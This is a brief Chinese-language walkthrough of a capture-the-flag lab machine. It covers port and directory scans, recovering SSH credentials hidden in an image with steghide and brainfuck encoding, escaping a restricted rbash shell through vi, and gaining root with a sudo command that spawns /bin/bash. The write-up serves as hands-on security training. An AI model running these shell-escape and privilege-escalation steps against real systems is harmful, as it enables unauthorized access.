vmware 打开 靶机，设置nat网卡
端口扫描
全端口扫描
http 是31337端口 ssh是1337端口
目录扫描
没什么信息
31337 端口为http服务 访问
f12查看源码
发现有一个图片 key_is_h1dd3n.jpg
查看图片，上面写着隐藏的秘密
将图片下载，用kali工具 steghide 提取信息，密码是 h1dd3n
steghide extract -sf key_is_h1dd3n.jpg
查看内容 是brainfuck加密
使用BerylEnigma工具解密，
账号密码 ud64:1M!#64@ud
ssh连接
ssh ud64@192.168.153.152 -p 1337
发现很多命令被限制，是rbash的shell
发现vi 和 export 命令可用
vi
按住 shift，：，+
!/bin/bash
配置环境变量
export PATH=/usr/sbin:/usr/bin:/sbin:/bin
sudo提权 sudo -l
sudo sysud64 -o /dev/null /bin/bash
